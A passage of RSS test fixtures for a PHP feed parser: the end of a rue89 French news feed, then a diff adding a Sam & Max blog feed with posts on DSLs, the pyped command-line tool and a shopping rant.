src="http://da.feedsportal.com/r/162676784104/u/0/f/608948/c/33822/s/2a56edd2/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676784104/u/0/f/608948/c/33822/s/2a56edd2/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a56edd2/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Creprise0Iexternes0Cthumbnail0Isquare0C20A130C0A40Cjeff0Icoutelou0Ivin0Iclasse0I10Bjpg/jeff_coutelou_vin_classe_1.jpg" length="78916" type="image/jpeg" /><category domain="http://www.rue89.com/prix-vin">prix du vin</category><category domain="http://www.rue89.com/champagne">champagne</category><category domain="http://www.rue89.com/vin">Vin</category><category domain="http://www.rue89.com/rue89-eco/consommation">Consommation</category><pubDate>Thu, 04 Apr 2013 15:39:14 GMT</pubDate><comments>http://blogs.rue89.com/no-wine-is-innocent/2013/04/04/le-prix-du-vin-6-euros-lelysee-39-000-euros-lhypermarche-230023#commentaires</comments><guid isPermaLink="false">241183 at http://www.rue89.com</guid><dc:creator>Antonin Iommi-Amunategui</dc:creator></item><item><title>Une tenue de prisonnier de camp de concentration mise aux enchères... puis retirée</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a56c522/l/0L0Srue890N0C20A130C0A40C0A40Ctenue0Eprisonnier0Ecamp0Econcentration0Eretiree0Edune0Evente0Eencheres0E241179/story01.htm</link><description>&lt;img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" onload="lzld(this)" data-src="http://www.rue89.com/sites/news/files/styles/article_homepage_image/public/article/thumbnail_banner/2013/04/lot_900_drouot_bandeau_0.jpg" alt="Une tenue de prisonnier de camp de concentration mise aux enchères... puis retirée" title="" /&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56c522/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a491bc2/l/0L0Srue890N0Crue890Eculture0C20A130C0A40C0A30Ca0Esouvenirs0Econtre0Ehistoire0Einternets0Earte0E241116/story01.htm'&gt;A vos souvenirs ! Une « contre-histoire des Internets » avec Arte&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a525997/l/0L0Srue890N0Crue890Eculture0C20A130C0A40C0A40Ccanules0Edites0Emots0Eoublies0E2410A65/story01.htm'&gt;« Tu me canules ! » : dites-le avec des mots oubliés&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Une+tenue+de+prisonnier+de+camp+de+concentration+mise+aux+ench%C3%A8res...+puis+retir%C3%A9e&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F04%2Ftenue-prisonnier-camp-concentration-retiree-dune-vente-encheres-241179" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Une+tenue+de+prisonnier+de+camp+de+concentration+mise+aux+ench%C3%A8res...+puis+retir%C3%A9e&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F04%2Ftenue-prisonnier-camp-concentration-retiree-dune-vente-encheres-241179" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676178825/u/0/f/608948/c/33822/s/2a56c522/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676178825/u/0/f/608948/c/33822/s/2a56c522/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676178825/u/0/f/608948/c/33822/s/2a56c522/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a56c522/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cdrouot0Iuniforme0I0A0Bjpg/drouot_uniforme_0.jpg" length="68540" type="image/jpeg" /><category domain="http://www.rue89.com/allemagne">Allemagne</category><category domain="http://www.rue89.com/histoire">histoire</category><category domain="http://www.rue89.com/seconde-guerre-mondiale">seconde guerre mondiale</category><category domain="http://www.rue89.com/memoire">mémoire</category><pubDate>Thu, 04 Apr 2013 15:29:00 GMT</pubDate><comments>http://www.rue89.com/2013/04/04/tenue-prisonnier-camp-concentration-retiree-dune-vente-encheres-241179#commentaires</comments><guid isPermaLink="false">241179 at http://www.rue89.com</guid><dc:creator>Mathieu Deslandes</dc:creator></item><item><title>Le boss d’Acadomia : « Il faut que chacun ait envie de faire le job du patron »</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a55b922/l/0L0Srue890N0Crue890Eeco0C20A130C0A40C0A40Cboss0Edacadomia0Efaut0Echacun0Eait0Eenvie0Efaire0Ejob0Epatron0E2410A93/story01.htm</link><description>Pour Philippe Coléon, directeur associé de l'entreprise de cours particuliers, "on est tous, à un moment, une star". Entretien pour notre série Métier : patron.&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a55b922/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a491bc1/l/0L0Srue890N0C20A130C0A40C0A30Cmalheur0Efrancais0Ecest0Equelque0Echose0Equon0Eemporte0Esoi0E241113/story01.htm'&gt;« Le malheur français, c’est quelque chose qu’on emporte avec soi »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a514715/l/0L0Srue890N0C20A130C0A40C0A40Ctresorier0Ecampagne0Ehollande0Einvestisseur0Ecaimans0E241151/story01.htm'&gt;Le trésorier de campagne de Hollande investisseur aux Caïmans&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5342af/l/0L0Srue890N0Crue890Eeco0C20A130C0A40C0A40Ccomment0Ebidonner0Eles0Eavis0Ecityvox0Ea0Eteste0E24110A2/story01.htm'&gt;Comment bidonner les avis sur Cityvox : on a testé pour vous&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56f461/l/0Lblogs0Brue890N0Creligion0C20A130C0A40C0A40Cun0Elycee0Emusulman0Emodele0Eca0Eressemble0Equoi0E230A0A40A/story01.htm'&gt;Un « lycée musulman modèle », ça ressemble à quoi ?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Le+boss+d%E2%80%99Acadomia%C2%A0%3A+%C2%AB%C2%A0Il+faut+que+chacun+ait+envie+de+faire+le+job+du+patron%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-eco%2F2013%2F04%2F04%2Fboss-dacadomia-faut-chacun-ait-envie-faire-job-patron-241093" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Le+boss+d%E2%80%99Acadomia%C2%A0%3A+%C2%AB%C2%A0Il+faut+que+chacun+ait+envie+de+faire+le+job+du+patron%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-eco%2F2013%2F04%2F04%2Fboss-dacadomia-faut-chacun-ait-envie-faire-job-patron-241093" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676177114/u/0/f/608948/c/33822/s/2a55b922/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676177114/u/0/f/608948/c/33822/s/2a55b922/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676177114/u/0/f/608948/c/33822/s/2a55b922/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a55b922/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cac0Iphilippe0Icoleon0I120A0A0I0A40Bjpg/ac_philippe_coleon_1200_04.jpg" length="96778" type="image/jpeg" /><category domain="http://www.rue89.com/education">éducation</category><category domain="http://www.rue89.com/entreprises">entreprises</category><category domain="http://www.rue89.com/rue89-eco/conditions-travail">Conditions de travail</category><category domain="http://www.rue89.com/management">management</category><category domain="http://www.rue89.com/rue89-eco">Rue89 Eco</category><pubDate>Thu, 04 Apr 2013 14:20:40 GMT</pubDate><comments>http://www.rue89.com/rue89-eco/2013/04/04/boss-dacadomia-faut-chacun-ait-envie-faire-job-patron-241093#commentaires</comments><guid isPermaLink="false">241093 at http://www.rue89.com</guid><dc:creator>Elsa Fayner</dc:creator></item></channel></rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/sametmax.xml b/vendor/fguillot/picofeed/tests/fixtures/sametmax.xml
new file mode 100644
index 000000000..432b61158
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/sametmax.xml
@@ -0,0 +1,1067 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<rss version="2.0"
+ xmlns:content="http://purl.org/rss/1.0/modules/content/"
+ xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:atom="http://www.w3.org/2005/Atom"
+ xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+ xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
+ >
+
+<channel>
+ <title>Sam &#38; Max: Python, Django, Git et du cul</title>
+ <atom:link href="http://sametmax.com/feed/" rel="self" type="application/rss+xml" />
+ <link>http://sametmax.com</link>
+ <description>Deux développeurs en vadrouille qui se sortent les doigts du code</description>
+ <lastBuildDate>Sun, 15 Dec 2013 13:51:38 +0000</lastBuildDate>
+ <language>en</language>
+ <sy:updatePeriod>hourly</sy:updatePeriod>
+ <sy:updateFrequency>1</sy:updateFrequency>
+ <generator>http://wordpress.org/?v=3.3.1</generator>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2F&amp;language=en_US&amp;category=text&amp;title=Sam+%26amp%3B+Max%3A+Python%2C+Django%2C+Git+et+du+cul&amp;description=Deux+d%C3%A9veloppeurs+en+vadrouille+qui+se+sortent+les+doigts+du+code&amp;tags=blog" type="text/html" />
+ <item>
+ <title>Les mensonges des DSL</title>
+ <link>http://sametmax.com/les-mensonges-des-dsl/</link>
+ <comments>http://sametmax.com/les-mensonges-des-dsl/#comments</comments>
+ <pubDate>Sun, 15 Dec 2013 01:36:55 +0000</pubDate>
+ <dc:creator>Sam</dc:creator>
+ <category><![CDATA[Programmation]]></category>
+ <category><![CDATA[dsl]]></category>
+ <category><![CDATA[lisp]]></category>
+ <category><![CDATA[python]]></category>
+ <category><![CDATA[ruby]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8327</guid>
+ <description><![CDATA[Un DSL, ou Domaine Specific Language, est un langage qui est dédié à un usage très pointu, et pour lequel il est donc particulièrement efficace.]]></description>
+ <content:encoded><![CDATA[<p>Un DSL, ou Domaine Specific Language, est un langage qui est dédié à un usage très pointu, et pour lequel il est donc particulièrement efficace.</p>
+<p>Par exemple, le langage de Matlab est un DSL, dédié à l&#8217;expression mathématique. SQL est un DSL, orienté requête. PHP a commencé comme un DSL, optimisé pour le Web.</p>
+<p>En théorie, un DSL doit vous rendre plus productif. En théorie. En pratique, une fois qu&#8217;un DSL sort de son domaine de prédilection, il est extrêmement inéficace. C&#8217;est le prix de la spécialisation.</p>
+<p>Or, dernièrement, on a fait beaucoup l&#8217;apanage des DSL dans le cadre d&#8217;autres langages. Car oui, certains langages permettent de créer des DSL. Les macros du C et les capacités de meta programmations de Lisp permettent par exemple de créer des langages complets, avec des dialectes spécialisés.</p>
+<p>Vient alors le premier problème : on créé un nouveau langage. Récent. Supporté et donc débuggé et (mal) documenté par l&#8217;auteur. Ensuite, on se rajoute un niveau d&#8217;indirection. Car du coup ça nous fait une abstraction supplémentaire, et il faut savoir ce que ça fait sous le capot. En prime, on freine l&#8217;entrée de nouveaux venus dans le projet, puisqu&#8217;il faut qu&#8217;ils apprenent à faire avec le DSL en plus, là où une simple lib aurait pu faire l&#8217;affaire.</p>
+<p>Et on touche ici à une seconde problématique, les faux DSL : des libs ordinnaires qui se déguisent en DSL. Typiquement, je pense à Ruby, ici.</p>
+<p>Les rubistes prétendent partout qu&#8217;ils peuvent créer des DSL avec leur langage. Encore un mensonge, puisque tout ce qu&#8217;ils font c&#8217;est utiliser le chaînage de méthode, le namespacing, la surcharge des opérateurs et les parenthèses/virgules facultatives pour donner l&#8217;impression qu&#8217;un nouveau langage est créé.</p>
+<p>Tout comme on donne l&#8217;illusion de retourner deux paramètres dans une fonction en Python en retournant un tuple et en faisant de l&#8217;unpacking. C&#8217;est du sucre syntaxique, mais on est très loin de ce que ça prétend être.</p>
+<p>Pourquoi c&#8217;est important ? Parce que cela laisse à croire qu&#8217;il y a quelque chose de spéciale là dedans, alors qu&#8217;il s&#8217;agit ni plus ni moins que d&#8217;une bête lib avec une API fluide. Ce qu&#8217;on peut faire dans tout autre langage (excepté l&#8217;absence de parenthèses, sur lequel il faudra que j&#8217;écrive un article tellement c&#8217;est une FBI).</p>
+<p>Donc plutôt que de faire du bruit et du hype autour de cela, et amener les gens à se concentrer sur l&#8217;aspect &#8220;comment obtenir une syntaxe exotique&#8221;, il serait plus intéressant de dire tout simplement : voilà comment on peut faire une belle API, voici les bonnes pratiques, appliquez les.</p>
+<p>Et aussi écrire une doc&#8230;</p>
+<p>J&#8217;ai horreur en informatique quand on donne 40 noms différents à la même chose. Comme par exemple pour les promises, les futures, les deferred, etc. Merde, non seulement ça n&#8217;aide personne, mais en plus ça rend la comprehension de principes plus difficile. Déjà que c&#8217;est rarement bien expliqué&#8230;</p>
+<p>Au final, un DSL est rarement une bonne idée, que ce soit un vrai ou un faux. SQL nous aura bien servi, il faut le reconnaitre, <a href="http://yinwang0.wordpress.com/2013/04/05/database/">même si on aurait pu faire mieux</a>. Mais la plupart du temps, ce sont quelques heures de gagnées en redaction de code, et des jours de formation et maintenance perdus, ou alors juste une masquarade cachant simplement derrière le hype des principes sains de programmation.</p>
+<blockquote><p>Languages are more than just languages, they are a form of culture, and by being culture they tend to enforce (indirecty or directly) a certain way of doing things, i.e. standards or conventions. This means that if you know the language and its culture, there are less surprises and a longer learning or adaptation curve</p></blockquote>
+<p>(Extrait de <a href="http://c2.com/cgi/wiki?LispIsTooPowerful">Is Lisp Too Powerful</a> ?)</p>
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8327&amp;md5=aa6bf4c0a958dd4b3f2c998f329621d5" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/les-mensonges-des-dsl/feed/</wfw:commentRss>
+ <slash:comments>5</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fles-mensonges-des-dsl%2F&amp;language=en_GB&amp;category=text&amp;title=Les+mensonges+des+DSL&amp;description=Un+DSL%2C+ou+Domaine+Specific+Language%2C+est+un+langage+qui+est+d%C3%A9di%C3%A9+%C3%A0+un+usage+tr%C3%A8s+pointu%2C+et+pour+lequel+il+est+donc+particuli%C3%A8rement+efficace.+Par+exemple%2C+le+langage+de...&amp;tags=dsl%2Clisp%2Cpython%2Cruby%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/mOMU7AC.jpg" length="10394" type="image/jpg" /> </item>
+ <item>
+ <title>Remplacer sed, awk, cut et Perl par Python (= orgasme pour sysadmin)</title>
+ <link>http://sametmax.com/remplacer-sed-awk-cut-et-perl-par-python-orgasme-pour-sysadmin/</link>
+ <comments>http://sametmax.com/remplacer-sed-awk-cut-et-perl-par-python-orgasme-pour-sysadmin/#comments</comments>
+ <pubDate>Sat, 14 Dec 2013 08:28:41 +0000</pubDate>
+ <dc:creator>Sam</dc:creator>
+ <category><![CDATA[Administration System]]></category>
+ <category><![CDATA[awk]]></category>
+ <category><![CDATA[bash]]></category>
+ <category><![CDATA[perl]]></category>
+ <category><![CDATA[python]]></category>
+ <category><![CDATA[sed]]></category>
+ <category><![CDATA[sysadmin]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8261</guid>
+ <description><![CDATA[La force de perl c'est qu'il permettait de piper des données directement via la ligne de commande pour faire des manipulations rapides.
+
+C'est pour cela que c'était devenu les choix des sysadmins. Parce que jusqu'ici, le choix c'était soit de faire un truc simple en connaissant par coeur la tool box GNU, soit ouvrir un fichier et faire un script.
+
+Python ne permet pas de piper des données directement dans la commande, mais des projets ont vu le jour pour le faire.]]></description>
+ <content:encoded><![CDATA[<p>La force de Perl c&#8217;est qu&#8217;il permettait de piper des données directement via la ligne de commande pour faire des manipulations rapides.</p>
+<p>C&#8217;est pour cela que c&#8217;était devenu les choix des sysadmins. Parce que jusqu&#8217;ici, le choix c&#8217;était soit de faire un truc simple en connaissant par coeur la tool box GNU, soit ouvrir un fichier et faire un script.</p>
+<p>Python ne permet pas de piper des données directement dans la commande, mais des projets ont vu le jour pour le faire.</p>
+<p>Il y a le projet <a href="http://code.google.com/p/pyp/">pyp</a>, que l&#8217;on doit à Sony Pictures Imageworks qui avait besoin de se simplifier l&#8217;automatisation des tâches de build pour ses films.</p>
+<p>Et il y a <a href="https://pypi.python.org/pypi/Pyped/1.0">pyped</a>, dont j&#8217;avais brièvement parlé <a href="http://sametmax.com/sept-petites-libs-qui-changent-la-vie-dun-dev-python/">ici</a> (article qui mérite d&#8217;être mis à jour vu que j&#8217;ai remplace dateutils par <a href="http://sametmax.com/les-time-zones-en-python/">arrow</a>).</p>
+<p>Les deux étaient sympas, mais avait des syntaxes alambiquées. Cependant, pyped est récemment passé en v1.0, donc stable, et a une toute nouvelle approche de syntaxe qui rend la bestiole super agréable à utiliser.</p>
+<p>Présentation.</p>
+<h2>Stdin, ligne à ligne</h2>
+<p>L&#8217;installation est bateau, c&#8217;est du <a href="http://sametmax.com/votre-python-aime-les-pip/">pip</a> :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">pip <span style="color: #c20cb9; font-weight: bold;">install</span> <span style="color: #660033;">--user</span> pyped</pre></div></div>
+
+<p>Et derrirère, on obtient la commande <code>py</code>. Elle s&#8217;utilise essentiellement à la suite d&#8217;une autre commande. Typiquement :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>fsta <span style="color: #000000; font-weight: bold;">|</span> py <span style="color: #ff0000;">&quot;un truc&quot;</span></pre></div></div>
+
+<p>L&#8217;astuce, c&#8217;est que &#8220;un truc&#8221; peut être n&#8217;importe quelle expression Python. Généralement une expression qui <code>print()</code> quelque chose.</p>
+<p>Or, Pyped met automatiquement à disposition de cette expression deux variables :</p>
+<ul>
+<li>La ligne en cours, dans la variable <code>x</code>.</li>
+<li>Le numéro de la ligne en cours, dans la variable <code>i</code>.</li>
+</ul>
+<p>L&#8217;expression Python est appelée une fois pour chaque ligne.</p>
+<p>Par exemple, supposons que j&#8217;ai un fichier &#8220;fortune.txt&#8221; contenant :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">bitcoin <span style="color: #7a0874; font-weight: bold;">&#40;</span>btc<span style="color: #7a0874; font-weight: bold;">&#41;</span> : <span style="color: #000000;">5</span>
+euros <span style="color: #7a0874; font-weight: bold;">&#40;</span>€<span style="color: #7a0874; font-weight: bold;">&#41;</span> : <span style="color: #000000;">100</span>
+dollars <span style="color: #7a0874; font-weight: bold;">&#40;</span>$<span style="color: #7a0874; font-weight: bold;">&#41;</span> : <span style="color: #000000;">80</span></pre></div></div>
+
+<p>Si je veut tout mettre en majuscule, je fais :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> fortune.txt <span style="color: #000000; font-weight: bold;">|</span> py <span style="color: #ff0000;">&quot;print(x.upper())&quot;</span>
+BITCOIN <span style="color: #7a0874; font-weight: bold;">&#40;</span>BTC<span style="color: #7a0874; font-weight: bold;">&#41;</span> : <span style="color: #000000;">5</span>
+EUROS <span style="color: #7a0874; font-weight: bold;">&#40;</span>€<span style="color: #7a0874; font-weight: bold;">&#41;</span> : <span style="color: #000000;">100</span>
+DOLLARS <span style="color: #7a0874; font-weight: bold;">&#40;</span>$<span style="color: #7a0874; font-weight: bold;">&#41;</span> : <span style="color: #000000;">80</span></pre></div></div>
+
+<p>On peut mettre plusieurs expressions d&#8217;affilé. Ainsi, si je veux récupérer la somme et le symbole uniquement :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> fortune.txt <span style="color: #000000; font-weight: bold;">|</span> py <span style="color: #ff0000;">&quot;devise, sign, _, value = x.split()&quot;</span> <span style="color: #ff0000;">&quot;sign = sign.strip('()')&quot;</span> <span style="color: #ff0000;">&quot;print('%s%s' % (value, sign))&quot;</span>
+5btc
+<span style="color: #000000;">100</span>€
+<span style="color: #000000;">80</span>$</pre></div></div>
+
+<p>Ok, c&#8217;est plus long que perl, mais vachement plus facile à écrire et à relire. Et j&#8217;utilise un langage que je connais déjà. Et pas besoin de faire un mix incompréhensible de sed, awk et autre cut.</p>
+<p>Si j&#8217;ai vraiment besoin de lisibilité, je peux même le mettre sur plusieurs lignes :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> fortune.txt <span style="color: #000000; font-weight: bold;">|</span> py <span style="color: #ff0000;">&quot;
+devise, sign, _, value = x.split()
+sign = sign.strip('()')
+print('%s%s' % (value, sign))
+&quot;</span>
+5btc
+<span style="color: #000000;">100</span>€
+<span style="color: #000000;">80</span>$</pre></div></div>
+
+<p>Vous aurez noté que j&#8217;utilise <code>print()</code> et que je semble ne pas me soucier de l&#8217;unicode. C&#8217;est parceque pyped fait ça au début du script :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">__future__</span> <span style="color: #ff7700;font-weight:bold;">import</span> print_function, unicode_literals, division, absolute_imports</pre></div></div>
+
+<p>Du coup, on est bien en Python 2.7, mais on bénéficie de la division améliorée, de la fonction pour printer, des imports absolus et surtout, de l&#8217;unicode partout. D&#8217;ailleurs pyped vous transforme <code>x</code> pour que ce soit un objet unicode. </p>
+<h2>Tout traiter d&#8217;un coup</h2>
+<p>Parfois, on a besoin d&#8217;avoir accès à toutes les lignes, pas juste les lignes une à une. pyped permet cela avec l&#8217;option <code>-i</code>. Les variables <code>x</code> et <code>i</code> disparaissent au profit de la variable <code>l</code>, qui contient un itérable sur toutes les lignes.</p>
+<p>Par exemple, envie de trier tout ça ?</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">cat fortune.<span style="color: black;">txt</span> | py -i <span style="color: #483d8b;">&quot;
+lignes = (x.split() for x in l)
+lignes = sorted((v, s.strip('()')) for d, s, _, v in lignes)
+for ligne in lignes: print('%s%s' % ligne)
+&quot;</span>
+<span style="color: #ff4500;">100</span>€
+5btc
+<span style="color: #ff4500;">80</span>$</pre></div></div>
+
+<h2>Moar options</h2>
+<p>Lisez la doc, car il y a d&#8217;autres options du genre éviter que pyped vous strip automatiquement le ligne break, forcer l&#8217;encoding, etc.</p>
+<p>Parmi les trucs les plus utiles, il y a l&#8217;option <code>-b</code> qui permet de lancer un code avant la boucle. Pratique pour importer des trucs genre le module <code>tarfile</code> pour extraire une archive avant d&#8217;utiliser son contenu.</p>
+<p>Néanmoins la plupart du temps on a rien besoin d&#8217;importer car pyped importe déjà automatiquement les modules les plus utiles : maths, datetime, re, json, hashlib, uuid, etc. </p>
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8261&amp;md5=83a66390fd625dd860b54e895ddffdee" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/remplacer-sed-awk-cut-et-perl-par-python-orgasme-pour-sysadmin/feed/</wfw:commentRss>
+ <slash:comments>9</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fremplacer-sed-awk-cut-et-perl-par-python-orgasme-pour-sysadmin%2F&amp;language=en_GB&amp;category=text&amp;title=Remplacer+sed%2C+awk%2C+cut+et+Perl+par+Python+%28%3D+orgasme+pour+sysadmin%29&amp;description=La+force+de+Perl+c%26%238217%3Best+qu%26%238217%3Bil+permettait+de+piper+des+donn%C3%A9es+directement+via+la+ligne+de+commande+pour+faire+des+manipulations+rapides.+C%26%238217%3Best+pour+cela+que+c%26%238217%3B%C3%A9tait+devenu+les+choix...&amp;tags=awk%2Cbash%2Cperl%2Cpython%2Csed%2Csysadmin%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/hsmFx9T.jpg" length="182812" type="image/jpg" /> </item>
+ <item>
+ <title>Pourquoi j&#8217;ai horreur d&#8217;acheter</title>
+ <link>http://sametmax.com/pourquoi-jai-horreur-dacheter/</link>
+ <comments>http://sametmax.com/pourquoi-jai-horreur-dacheter/#comments</comments>
+ <pubDate>Fri, 13 Dec 2013 08:20:53 +0000</pubDate>
+ <dc:creator>Sam</dc:creator>
+ <category><![CDATA[Philo et culture]]></category>
+ <category><![CDATA[gadget]]></category>
+ <category><![CDATA[meta]]></category>
+ <category><![CDATA[rhaaaa]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8312</guid>
+ <description><![CDATA[J'achète rarement des trucs neufs. Déjà, il faut que ça soit utile, que ça prenne pas trop de place, et que ça se déplace facilement vu que je bouge tout le temps.
+
+Mais en plus, le problème d'un achat, c'est que ça bouffe énormément de temps, surtout si on l'achète pas en ligne.]]></description>
+ <content:encoded><![CDATA[<p>J&#8217;achète rarement des trucs neufs. Déjà, il faut que ça soit utile, que ça prenne pas trop de place, et que ça se déplace facilement vu que je bouge tout le temps.</p>
+<p>Mais en plus, le problème d&#8217;un achat, c&#8217;est que ça bouffe énormément de temps, surtout si on l&#8217;achète pas en ligne.</p>
+<p>Exemple, je vais à la fnac pour acheter un bidule à 150 euros. Je dois prendre la voiture (j&#8217;ai horreur de conduire) pour aller en centre ville, ce qui prend une bonne demi-heure. Il faut se garer, puis se taper la foule de mongoliens dans le magasin, en arpentant les étages pour trouver le bon rayon. </p>
+<p>Là, je prends le produit dont j&#8217;ai fait le choix préalablement sur le net (encore du temps&#8230; pour un putain d&#8217;objet !) car les vendeurs n&#8217;y connaissent que dalle. Il faut se farcir la queue, payer en caisse, retourner chez soit. Une bonne heure et demi de perdue que j&#8217;aurais pu passer à faire des choses plus importantes, comme jouer à <a href="http://www.gog.com/game/dont_starve">Don&#8217;t Starve</a>, et encore, si on sait exactement ce qu&#8217;on fait.</p>
+<p>Maintenant ça s&#8217;arrête là si tout va bien, mais évidement, l&#8217;histoire ne mériterait pas un article si c&#8217;était le cas.</p>
+<p>Il se trouve qu&#8217;arrivé chez moi, le produit ne me satisfait pas. Pour 150 euros, je vais donc faire l&#8217;effort de le rapporter. Je le remballe, et on reprend la caisse. Ai-je précisé que je déteste conduire ?</p>
+<p>Je demande à un vigile à l&#8217;entrée où est l&#8217;accueil.</p>
+<p>Je vais à l&#8217;accueil pour demander à ce qu&#8217;on me le change. Je fais donc la queue.</p>
+<p>L&#8217;accueil me renvoie vers un autre accueil un étage au dessus, qui s&#8217;en occupe. Je fais donc la queue.</p>
